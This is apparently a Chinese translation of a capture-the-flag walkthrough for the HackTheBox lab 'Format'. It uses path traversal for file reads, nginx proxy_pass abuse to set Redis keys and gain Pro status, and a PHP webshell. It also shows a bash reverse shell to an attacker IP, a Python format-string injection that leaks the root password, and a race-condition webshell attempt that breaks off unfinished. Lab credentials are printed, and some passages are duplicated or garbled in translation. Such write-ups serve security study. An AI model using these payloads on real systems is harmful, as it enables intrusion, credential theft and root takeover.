Format 托管着一个开源微博网站。我将构造参数实现对主机上文件进行任意读取和写入,并将其与 proxy_pass 错误一起使用来毒害 Redis,从而使我的帐户处于“提权”状态。我可以访问一个可写目录,将 webshell 放入系统上。为了提升权限,我将从 Redis 数据库中获取共享凭据。为了获得 root 权限,我将利用 Python 脚本中的模板注入信息。在 Beyond Root 中,我将研究两个非预期的解决方案来实现权限提升。
侦察(信息收集)
端口扫描:nmap找到三个开放的 TCP 端口:SSH (22) 和 HTTP (80)
nmap -p- --min-rate 10000 10.10.11.213
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-15 06:26 EDT
Nmap scan report for 10.10.11.213
Host is up (0.086s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
open ssh
open http
open ppp
Nmap done: 1 IP address (1 host up) scanned in 6.93 seconds
nmap -p 22,80,3000 -sCV 10.10.11.213
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-15 06:26 EDT
Nmap scan report for 10.10.11.213
Host is up (0.087s latency).
PORT STATE SERVICE VERSION
open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
open http nginx 1.18.0
nginx/1.18.0 :
Site doesn't have a title (text/html). :
open http nginx 1.18.0
nginx/1.18.0 :
Did not follow redirect to http://microblog.htb:3000/ :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.19 seconds
根据OpenSSH版本,主机可能运行 Debian 。访问端口 3000 上重定向到microblog.htb.
子域暴力破解
鉴于使用了 DNS 名称,我使用ffuf工具子域名进行爆破。爆破 3000 端口没有获取到任何有用信息:
oxdf@hacky$ ffuf -u http://10.10.11.213:3000 -H "Host: FUZZ.microblog.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -ac
/'___ /'___ /'___
/ __/ / __/ __ __ / __/
,__\ ,__/ / ,__
_/ _/ _ _/
_ _ ____/ _
/_/ /_/ /___/ /_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.213:3000
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.microblog.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
:: Progress: [4989/4989] :: Job [1/1] :: 459 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
爆破端口 80 发现两个不同的子域:
oxdf@hacky$ ffuf -u http://10.10.11.213 -H "Host: FUZZ.microblog.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -ac
/'___ /'___ /'___
/ __/ / __/ __ __ / __/
,__\ ,__/ / ,__
_/ _/ _ _/
_ _ ____/ _
/_/ /_/ /___/ /_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.213
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.microblog.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
app [Status: 200, Size: 3976, Words: 899, Lines: 84, Duration: 94ms]
sunny [Status: 200, Size: 3732, Words: 630, Lines: 43, Duration: 92ms]
:: Progress: [4989/4989] :: Job [1/1] :: 456 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
我会将ip和两个子域添加到我的/etc/hosts文件中:
10.10.11.213 microblog.htb app.microblog.htb sunny.microblog.htb |
访问http://10.10.11.213返回重定向到app.microblog.htb,在 80端口上,访问http://microblog.htb返回默认的 nginx 404 未找到页面,app.microblog.htb看起来像微博服务的首页:
首页有注册和登录的链接,以及指向 的“获取博客”按钮/dashboard,但仅重定向到登录表单。还有一个“在这里贡献!” 指向端口 3000 上的服务的链接,http://microblog.htb:3000/cooper/microblog.
看起来该网站正在提供子域名(就像 Gitlab 给我的那样0xdf.gitlab.io)。访问sunny.microblog.htb节目就是一个例子,一个关于电视节目《费城总是阳光明媚》的博客:
我能够注册该网站,这会导致/dashboard:
底部信息有一个关于“转到专业版以每月 5 美元上传图像”的参考,但该链接不起作用。
页面上唯一真正的交互是创建子域的能力。它只接受小写字母:
该过滤器是在客户端实现的,因为没有发送请求。如果我创建oxdf.microblog.htb,它会显示在我的仪表板中:
如果我尝试注册sunny.microblog.htb,它会在页面顶部返回错误:
仪表板上的“编辑站点”链接会指向一个粗略的编辑器,我可以在其中添加h1标签和txt部分:
访问该页面显示的格式与该sunny页面类似:
HTTP 标头并没有泄露除运行nginx 之外的其他信息:
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Mon, 15 May 2023 10:43:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 3976
但是我可以猜测每个目录中的索引页面/加载为index.php,而index.html返回 404,因此该网站是基于 PHP 构建的。
目录暴力破解
我将feroxbuster针对该网站运行,并包含在内,-x php因为我知道该网站是 PHP:
oxdf@hacky$ feroxbuster -u http://app.microblog.htb -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / _/ | | |__
| |___ | | | __, __/ / | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://app.microblog.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 11w 153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 1l 3w 16c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 7l 11w 169c http://app.microblog.htb/logout => http://app.microblog.htb/logout/
301 GET 7l 11w 169c http://app.microblog.htb/register => http://app.microblog.htb/register/
301 GET 7l 11w 169c http://app.microblog.htb/login => http://app.microblog.htb/login/
200 GET 154l 843w 168397c http://app.microblog.htb/brain.ico
200 GET 83l 306w 3976c http://app.microblog.htb/index.php
200 GET 1308l 8063w 731222c http://app.microblog.htb/brain.png
200 GET 83l 306w 3976c http://app.microblog.htb/
302 GET 0l 0w 0c http://app.microblog.htb/logout/index.php => http://app.microblog.htb/
200 GET 60l 218w 3029c http://app.microblog.htb/register/index.php
301 GET 7l 11w 169c http://app.microblog.htb/dashboard => http://app.microblog.htb/dashboard/
200 GET 59l 167w 2475c http://app.microblog.htb/login/index.php
302 GET 0l 0w 0c http://app.microblog.htb/dashboard/index.php => http://app.microblog.htb/login
[####################] - 1m 150024/150024 0s found:12 errors:0
[####################] - 1m 30000/30000 278/s http://app.microblog.htb/
[####################] - 1m 30000/30000 279/s http://app.microblog.htb/register/
[####################] - 1m 30000/30000 279/s http://app.microblog.htb/logout/
[####################] - 1m 30000/30000 279/s http://app.microblog.htb/login/
[####################] - 1m 30000/30000 279/s http://app.microblog.htb/dashboard/
枚举结果差强人意。
microblog.htb - TCP 3000
端口 3000 托管Gitea的一个实例,这是一个开源 Git 托管应用程序:
在“探索”下,我会找到一个存储库(与主页上链接的存储库相同):
该存储库具有该网站的来源:
该html文件夹有一个index.html页面,仅包含重定向到app.microblog.htb. microbucket具有站点使用的静态 CSS 和 JavaScript 文件。
pro-files有一个文件,bulletproof.php. 它定义了一个Image带有一堆函数的类。它有一个可接受的 mime 类型和扩展名的列表。它还强制基于 mime 类型的扩展,以防止.php上传。
microblog-template具有三个文件夹 和index.php:
index.php似乎是博客文章的页面。它在多个地方使用 Redis 缓存数据库。例如,有一个checkOwner函数:
function checkOwner() {
if(checkAuth()) {
$redis = new Redis();
$redis->connect('/var/run/redis/redis.sock');
$subdomain = array_shift((explode('.', $_SERVER['HTTP_HOST'])));
$userSites = $redis->LRANGE($_SESSION['username'] . ":sites", 0, -1);
if(in_array($subdomain, $userSites)) {
return $_SESSION['username'];
}
}
return "";
}
该站点似乎在文件 中存储了文件名列表,/content/order.txt该文件由名为 的函数加载fetchPage(),然后循环读取文件构建$html_content:
function fetchPage() {
chdir(getcwd() . "/content");
$order = file("order.txt", FILE_IGNORE_NEW_LINES);
$html_content = "";
foreach($order as $line) {
$temp = $html_content;
$html_content = $temp . "<div class = "{$line}">" . file_get_contents($line) . "</div>";
}
return $html_content;
}
然后将其设置为页面中的 JavaScript,将其分解并将其放入页面中:
$(window).on('load', function(){
const html = <?php echo json_encode(fetchPage()); ?>.replace(/(rn|n|r)/gm, "");
$(".push-for-h1").after(html);
if(html.length === 0) {
$(".your-blog").after("<div class = "empty-blog">Blog in progress... check back soon!</div>");
$(".push-for-h1").css("display", "none");
}
存储库中有一个content目录,它有一个空的order.txt. edit有一个index.php可以管理编辑页面并将更改保存到order.txt随机命名的文件中。
尽管该网站没有提供任何升级到 Pro 的方法,但 PHP 中对此进行了检查:
function provisionProUser() {
if(isPro() === "true") {
$blogName = trim(urldecode(getBlogName()));
system("chmod +w /var/www/microblog/" . $blogName);
system("chmod +w /var/www/microblog/" . $blogName . "/edit");
system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
}
return;
}
它创建一个uploads/目录,大概是为了存储图像。还有一个isPro函数可以检查 Redis 的用户状态:
function isPro() {
if(isset($_SESSION['username'])) {
$redis = new Redis();
$redis->connect('/var/run/redis/redis.sock');
$pro = $redis->HGET($_SESSION['username'], "pro");
return strval($pro);
}
return "false";
}
该microblog文件夹有两个目录:
sunny是示例博客,其结构与模板相同。该content文件夹order.txt包含一些随机命名的文件:
每个随机命名的文件都包含一小段 HTML。例如,2766wxkoacy有:
<div class = "blog-h1 blue-fill"><b>It's Always Sunny in Philadelphia</b></div>
order.txt包含文件列表:
2766wxkoacy jtdpx1iea5 rle1v1hnms syubx3wiu3e |
该app文件夹包含我可以注册/登录的页面的源代码。除了用户如何在 Redis 中生成/存储之外,我不需要查找太多内容。例如,在第 26 行/register/index.php:
$redis = new Redis();
$redis->connect('/var/run/redis/redis.sock');
$username = $redis->HGET(trim($_POST['username']), "username");
if(strlen(strval($username)) > 0) {
header("Location: /register?message=User already exists&status=fail");
}
else {
$redis->HSET(trim($_POST['username']), "username", trim($_POST['username']));
$redis->HSET(trim($_POST['username']), "password", trim($_POST['password']));
$redis->HSET(trim($_POST['username']), "first-name", trim($_POST['first-name']));
$redis->HSET(trim($_POST['username']), "last-name", trim($_POST['last-name']));
$redis->HSET(trim($_POST['username']), "pro", "false"); //not ready yet, license keys coming soon
$_SESSION['username'] = trim($_POST['username']);
header("Location: /dashboard?message=Registration successful!&status=success");
}
它正在连接到unix:/var/run/redis/redis.sock. 它使用HGET和HSET与用户名键进行交互,并设置username、password、first-name、last-name和 的值pro。
外壳作为 www-data
我在上面指出,内容存储在以随机字符命名的文件中。事实证明它们是由页面中的客户端 JS 生成的/edit:
$(".form-id").attr("value", Math.random().toString(36).slice(2));
因此,创建或编辑微博的 POST 请求如下所示:
POST /edit/index.php HTTP/1.1
Host: oxdf.microblog.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: http://oxdf.microblog.htb
Connection: close
Referer: http://oxdf.microblog.htb/edit/?message=Section%20added!&status=success
Cookie: username=rbb8bp6umb0logs0i3sqlcp5kc
Upgrade-Insecure-Requests: 1
id=u62ieddrsu&txt=test+text
这意味着用户控制id进入此 PHP 的第 80 行/edit/index.php:
//add text
if (isset($_POST['txt']) && isset($_POST['id'])) {
chdir(getcwd() . "/../content");
$txt_nl = nl2br($_POST['txt']);
$html = "<div class = "blog-text">{$txt_nl}</div>";
$post_file = fopen("{$_POST['id']}", "w");
fwrite($post_file, $html);
fclose($post_file);
$order_file = fopen("order.txt", "a");
fwrite($order_file, $_POST['id'] . "n");
fclose($order_file);
header("Location: /edit?message=Section added!&status=success");
}
由于 ID 上没有任何清理,因此可以以当前用户的身份进行任意写入或读取。如果目标是当前用户可以写入的文件,那么它将把给定的文本写入该文件。但即使无法写入文本,该文件仍会添加到 中order.txt,这意味着它将被读取并显示在微博页面上。
我将尝试/etc/passwd通过设置id参数来指向它来阅读:
无法写入“test”,/etc/passwd因为我的用户无权访问,但随后 的遍历有效负载passwd被写入order.txt,然后内容被加载到页面中。它现在也显示在网站上。
读取文件脚本
鉴于读取文件的多个步骤,我将编写此脚本。另外,因为盒子会定期清理帐户,所以我每次都会注册一个新帐户:
#!/usr/bin/env python3
import random
import re
import requests
import string
import sys
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
file = sys.argv[1] if len(sys.argv) > 1 else "/etc/passwd"
token = ''.join(random.choice(string.ascii_lowercase) for _ in range(20))
base_url = "http://app.microblog.htb"
sess = requests.session()
sess.proxies.update({"http": "http://127.0.0.1:8080"})
# register for site
body = {"first-name": token, "last-name": token, "username": token, "password": token}
resp = sess.post("http://app.microblog.htb/register/", data=body)
# create blog
resp = sess.post("http://app.microblog.htb/dashboard/", data={"new-blog-name": token})
# file read
resp = sess.post(f"http://microblog.htb/edit/",
data={"id": f"../../../../../../{file}", "txt":"0xdf"},
headers={"Host": f"{token}.microblog.htb"},
allow_redirects=False)
data = re.search(r'const html = "<div class = \".+?\">(.*?)<\/', resp.text, re.DOTALL).group(1)
print(bytes(data, 'utf-8').decode('unicode_escape'))
结果允许我请求文件:
oxdf@hacky$ python file_read.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...[snip]...
cooper:x:1000:1000::/home/cooper:/bin/bash
redis:x:103:33::/var/lib/redis:/usr/sbin/nologin
git:x:104:111:Git Version Control,,,:/home/git:/bin/bash
messagebus:x:105:112::/nonexistent:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false
oxdf@hacky$ python file_read.py /proc/self/cmdline
php-fpm: pool www
文件写入POC
我会发现大多数在当前 Web 目录中写入的尝试都会失败。有一个目录必须是可写的,那就是/content. 尝试访问/content微博网站返回403:
我知道该网站必须能够在此文件夹中写入文件。我会尝试写下这样的请求:
并访问/content/0xdf.txt下载文本文件。
我会尝试:
id=0xdf.php&txt= +phpinfo();+
它似乎有效,但是访问时/content/0xdf.php,它只是下载文件,而不执行它。在 Burp 中,我将查看响应:
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Mon, 15 May 2023 19:13:20 GMT
Content-Type: application/octet-stream
Content-Length: 58
Last-Modified: Mon, 15 May 2023 19:13:04 GMT
Connection: close
ETag: "64628440-3a"
Content-Disposition: attachment; filename=0xdf.php
Accept-Ranges: bytes
<div class = "blog-text"> echo "hello 0xdf"; </div>
它将作为文件返回,而不是作为 PHP 执行。这可能是由于 nginx 配置与此位置匹配,并且只是添加Content-Disposition标头将其设置为附件,而不是将其传递给 PHP 执行。
nginx 配置
为了更好地了解 nginx 的托管方式并查看是否遗漏了任何子域,我将查看配置文件(用于grep删除注释):
python file_read.py /etc/nginx/sites-enabled/default | grep -vP "^s*#"
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name _;
location / {
try_files $uri $uri/ =404;
}
}
server {
listen 80;
listen [::]:80;
root /var/www/microblog/app;
index index.html index.htm index-nginx-debian.html;
server_name microblog.htb;
location / {
return 404;
}
location = /static/css/health/ {
resolver 127.0.0.1;
proxy_pass http://css.microbucket.htb/health.txt;
}
location = /static/js/health/ {
resolver 127.0.0.1;
proxy_pass http://js.microbucket.htb/health.txt;
}
location ~ /static/(.*)/(.*) {
resolver 127.0.0.1;
proxy_pass http://$1.microbucket.htb/$2;
}
}
这不是完整的 nginx 配置。其他文件中一定有更多内容(例如从 下载/content)。我有理由猜到通往那些地方的路径,但我没有在这里。我将在Beyond Root中稍微了解一下这一点。
proxy_pass 错误
nginx 配置的最后一个块有一个漏洞。它将匹配表单的任何 URL /static/${1}/${2},并将其代理到http://${1}.microbucket.htb/${2}. 这模拟了不同站点可能设置不同云存储桶的场景。这篇博文有一个非常好的例子,说明了这种模式为何存在以及如何利用它。
这个想法是滥用它来连接到 unix 套接字。从上面的帖子来看,如果我传入:
GET /static/unix:%2fvar%2frun%2fredis%2fredis.sock:TEST/app.js HTTP/1.1
Host: example.com
那么这将使得:
http://unix:/var/run/redis/redis.sock:TEST.microbucket.htb/app.js
最终会将此请求发送到套接字:
GET TEST.microbucket.htb/app.js HTTP/1.0
Host: localhost
这篇文章继续展示如何编写密钥。我可以发送不是有效 HTTP 动词的请求(例如 GET 或 POST),但它仍然会被 nginx 处理和传递。如果我发送此 HTTP 请求:
MSET /static/unix:%2fvar%2frun%2fredis%2f/redis.sock:hacked%20%22true%22%20/anything.js HTTP 1.1
Host: app.microbucket.htb
这将到达套接字:
MSET hacked "true" microbucket.htb/anything.js HTTP/1.0
Host: localhost
这会将密钥设置hacked为 true(并且可能会导致命令的其余部分崩溃)。
MSET这是利用了允许在同一行中设置多个键的事实。帖子中有更多关于从中获取 RCE 的信息,但我无法在 Format 上实现这一点。
Redis写入POC
我上面提到的键是用 来设置的HSET,根据文档,它采用一个键,后跟字段和值对。这应该与上面类似,但不仅仅是键/值,我还将传递字段。
HSET /static/unix:%2fvar%2frun%2fredis%2fredis.sock:oxdf%20%22first-name%22%20%22modified%22%20/0xdf.js HTTP/1.1
Host: microblog.htb
HSET oxdf "first-name" "modified" HTTP/1.0
Host: localhost
我将发送此内容,但响应是崩溃:
但是,刷新后,我的名字被更改了!
我并不是真的想改变我的名字,而是为了获得专业身份。我会将字段更改为“pro”并将值更改为“true”,然后再次发送。刷新时,我的页面显示“Pro!”
有了专业版,我的网站退出现在有一个img选项:
如果我给它一个图像,它会加载:
该图像位于
http://oxdf.microblog.htb/uploads/6462959cc8f1b2.38277097_gneojkiqpmhfl.png.我在上面指出,客户端应用程序会强制.png对我上传的任何内容进行扩展。
写入/上传
我将使用写入漏洞将.php文件写入/uploads:
该图像位于
http://oxdf.microblog.htb/uploads/6462959cc8f1b2.38277097_gneojkiqpmhfl.png.我在上面指出,客户端应用程序会强制.png对我上传的任何内容进行扩展。
写入/上传
我将使用写入漏洞将.php文件写入/uploads:
POST /edit/index.php HTTP/1.1
Host: oxdf.microblog.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Origin: http://oxdf.microblog.htb
Cookie: username=rbb8bp6umb0logs0i3sqlcp5kc
Upgrade-Insecure-Requests: 1
id=../uploads/0xdf.php&txt= +echo+"0xdf!";+
现在有了 Pro 访问权限,我可以访问这个目录,与之前的目录不同,这次 PHP 执行:
我将重新发送写入请求,但这次编写一个简单的 PHP webshell:
POST /edit/index.php HTTP/1.1
Host: oxdf.microblog.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: http://oxdf.microblog.htb
Cookie: username=rbb8bp6umb0logs0i3sqlcp5kc
Upgrade-Insecure-Requests: 1
id=../uploads/0xdf.php&txt=<?php+system($_REQUEST['cmd']);+?>
现在我将添加?cmd=[command]到网址,它可以工作:
我将开始nc监听 443 并在 Firefox 中发送此bash 反向 shell:
http://oxdf.microblog.htb/uploads/0xdf.php?cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.14.6/443 0>%261'
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.213 41734
bash: cannot set terminal process group (609): Inappropriate ioctl for device
bash: no job control in this shell
www-data@format:~/microblog/oxdf/uploads$
我将得到一个交互式的shell :
www-data@format:~/microblog/oxdf/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@format:~/microblog/oxdf/uploads$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@format:~/microblog/oxdf/uploads$
枚举(信息收集)
box上有两个主目录,cooper并且git:
www-data@format:/home$ ls
cooper git
www-data 可以输入cooper,并且user.txt在那里,但是 www-data 无法读取它。
我会检查一下 Redis 数据库。redis-cli位于盒子上,并-s允许它连接到套接字,无需其他身份验证:
www-datavar/run/redis/redis.sock :~$ redis-cli -s /
redis /var/run/redis/redis.sock>
keys *将显示所有键:
redis /var/run/redis/redis.sock> keys *
1) "cooper.dooper:sites"
2) "cooper.dooper"
3) "oxdf"
4) "PHPREDIS_SESSION:rbb8bp6umb0logs0i3sqlcp5kc"
5) "oxdf:sites"
oxdf:sites和cooper.dooper:sites是该用户的站点列表。它是在源中使用 生成的LPUSH,将项目推送到列表中。LRANGE读取一个列表,获取开始和停止索引。文档显示,如果 stop 为 -1,它将读到最后,因此我可以阅读完整列表:
redis /var/run/redis/redis.sock> LRANGE oxdf:sites 0 -1
1) "oxdf"
redis /var/run/redis/redis.sock> LRANGE cooper.dooper:sites 0 -1
1) "sunny"
HGETALL将转储哈希中的所有字段:
redis /var/run/redis/redis.sock> HGETALL oxdf
1) "username"
2) "oxdf"
3) "password"
4) "oxdf"
5) "first-name"
6) "modified"
7) "last-name"
8) "oxdf"
9) "pro"
10) "true"
11) "first-nameedit"
12) "modified"
13) ".microbucket.htb/0xdf.js"
14) "HTTP/1.0"
它似乎将字段作为一个返回,然后是下一个字段的值。13 和 14 是我在上一步中注入的工件。
redis /var/run/redis/redis.sock> HGETALL cooper.dooper
1) "username"
2) "cooper.dooper"
3) "password"
4) "zooperdoopercooper"
5) "first-name"
6) "Cooper"
7) "last-name"
8) "Dooper"
9) "pro"
10) "false"
4 是cooper.dooper 用户的密码。
该密码适用于盒子上的 Cooper 用户su:
www-data@format:~$ su - cooper
Password:
cooper@format:~$
它也适用于 SSH:
oxdf@hacky$ sshpass -p 'zooperdoopercooper' ssh cooper@10.10.11.213
...[snip]...
cooper@format:~$
不管怎样,我可以声称user.txt:
cooper@format:~$ cat user.txt
2546f1e9************************
权限提升以 root 身份进入 shell
枚举(信息收集)
Cooper 可以以 root 身份运行license:
cooper@format:~$ sudo -l
[sudo] password for cooper:
Matching Defaults entries for cooper on format:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User cooper may run the following commands on format:
(root) /usr/bin/license
sudo需要密码,但我有。
licence是一个Python脚本:
cooper@format:~$ file /usr/bin/license
/usr/bin/license: Python script, ASCII text executable
该脚本在执行其他操作之前会明确检查它是否以 root 身份运行:
cooper@format:~$ license
Microblog license key manager can only be run as root
cooper@format:~$ sudo license
usage: license [-h] (-p username | -d username | -c license_key)
license: error: one of the arguments -p/--provision -d/--deprovision -c/--check is required
它从一个类开始License:
class License():
def __init__(self):
chars = string.ascii_letters + string.digits + string.punctuation
self.license = ''.join(random.choice(chars) for i in range(40))
self.created = date.today()
这为每个对象提供了随机的 40 个字符。
检查是否以 root 身份运行,然后进行 argparsing 以生成上述参数。然后它从以下位置加载秘密的内容/root/license/secret:
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')
secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))
密钥派生函数 (kdf) 被初始化并用于从秘密和明文盐生成加密密钥。
然后,程序根据是否调用配置、取消配置(尚未实现)或检查进行拆分。
配置是唯一有趣的路径。首先让用户退出 Redis 并检查该用户是否已经拥有密钥(如果有则退出):
#provision
if(args.provision):
user_profile = r.hgetall(args.provision)
if not user_profile:
print("")
print("User does not exist. Please provide valid username.")
print("")
sys.exit()
existing_keys = open("/root/license/keys", "r")
all_keys = existing_keys.readlines()
for user_key in all_keys:
if(user_key.split(":")[0] == args.provision):
print("")
print("License key has already been provisioned for this user")
print("")
sys.exit()
然后它根据静态前缀、用户名、随机 40 个字符以及用户名字和姓氏的组合生成一个密钥:
prefix = "microblog"
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
它将明文和加密密钥打印到控制台,并将密钥写入文件keys:
print("")
print("Plaintext license key:")
print("------------------------------------------------------")
print(license_key)
print("")
license_key_encoded = license_key.encode()
license_key_encrypted = f.encrypt(license_key_encoded)
print("Encrypted license key (distribute to customer):")
print("------------------------------------------------------")
print(license_key_encrypted.decode())
print("")
with open("/root/license/keys", "a") as license_keys_file:
license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "n")
这里最棘手的部分是意识到我需要恢复隐藏的秘密。
对我有利的是我可以控制打印到屏幕上的其他变量。Stack Exchange 的这个答案很好地阐述了如何解决这个问题。这篇文章也有更详细的介绍。
因为我可以控制模板,所以我可以指定format.
我将使用对 Redis 的访问权限来创建一个用户,其中姓氏是类似 的注入{license.__init__.__globals__[secret]}。这将使格式字符串看起来像:
microblog{username}{license.license}{first-name}{license.__init__.__globals__[secret]}
当它被格式化时,它应该打印秘密。
在 Redis 中,我将从一个具有 root 权限的新用户开始:
redis /var/run/redis/redis.sock> hset rooted username rooted
(integer) 1
redis /var/run/redis/redis.sock> hset rooted first-name "password:"
(integer) 1
redis /var/run/redis/redis.sock> hset rooted last-name "{license.__init__.__globals__[secret]}"
(integer) 1
我取了第一个名字password:,以便轻松地表明秘密从哪里开始。现在运行脚本会打印未加密的密钥:
cooper@format:~$ sudo license -p rooted
Plaintext license key:
------------------------------------------------------
microblogrooted/%QIQ#0?qCGURyI8}RZrdh>#l^L`P7XbP#n@*'a*password:unCR4ckaBL3Pa$$w0rd
Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABkYqXC2Xp3JGFVI__uSfLXpBzX84cyRMkAtN5tYqc3CgN8qGmQ70FWSBwn4RVPgKRVgfh0UqkoXO007-QouG9IaUKUygOQAr5TXp2ItrC5eANNlSpeyC37bi9KRF4nRCW4YmebU2_nr0HC8w9gIVfFo2XyjHkYlACttPbHmlQ61mc-8dE5CP6-bUWLBnIcmHqMXF06
秘密是unCR4ckaBL3Pa$$w0rd。
该秘密通过以下方式作为 root 的密码su:
cooper@format:~$ su -
Password:
root@format:~#
和 SSH:
oxdf@hacky$ sshpass -p 'unCR4ckaBL3Pa$$w0rd' ssh root@10.10.11.213
...[snip]...
root@format:~#
我能够抓住root.txt:
root@format:~# cat root.txt
aca96cee************************
背景
格式于 2023 年 5 月 23 日(首次发布 10 天后)进行了修补:
细节
在盒子的早期,我会发现我可以将任意文件写入站点的/content目录,但不能写入网络目录的其他任何位置。/content不允许执行 PHP 文件。如果我可以在其他地方编写,我可以编写一个 Webshell 并比计划更早地执行。
已修复的问题与新站点最初的配置方式有关:
function addSite($site_name) {
if(isset($_SESSION['username'])) {
//check if site already exists
$scan = glob('/var/www/microblog/*', GLOB_ONLYDIR);
$taken_sites = array();
foreach($scan as $site) {
array_push($taken_sites, substr($site, strrpos($site, '/') + 1));
}
if(in_array($site_name, $taken_sites)) {
header("Location: /dashboard?message=Sorry, that site has already been taken&status=fail");
exit;
}
$redis = new Redis();
$redis->connect('/var/run/redis/redis.sock');
$redis->LPUSH($_SESSION['username'] . ":sites", $site_name);
chdir(getcwd() . "/../../../");
system("chmod +w microblog");
chdir(getcwd() . "/microblog/");
if(!is_dir($site_name)) {
mkdir($site_name, 0700);
}
system("cp -r /var/www/microblog-template/* /var/www/microblog/" . $site_name);
if(is_dir($site_name)) {
chdir(getcwd() . "/" . $site_name);
}
system("chmod +w content");
chdir(getcwd() . "/../");
system("chmod 500 " . $site_name);
chdir(getcwd() . "/../");
system("chmod -w microblog");
header("Location: /dashboard?message=Site added successfully!&status=success");
}
else {
header("Location: /dashboard?message=Site not added, authentication failed&status=fail");
}
它使microblog模板可写,并将模板复制到该目录中。然后它使该content文件夹可写,但随后将站点重置为不可写。
问题是那里存在竞争条件。在很短的时间内,有一个可写目录允许 PHP 运行。
为了利用这一点,我将使用wfuzz一次发送大量请求来写入一个不存在的站点:
oxdf@hacky$ wfuzz -u http://10.10.11.213/edit/ -H "Host: race.microblog.htb" -b 'username=rbb8bp6umb0logs0i3sqlcp5kc' -d 'id=../0xdf.php&txt=<?php+system($_REQUEST["cmd"]);+?>&oops=FUZZ' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
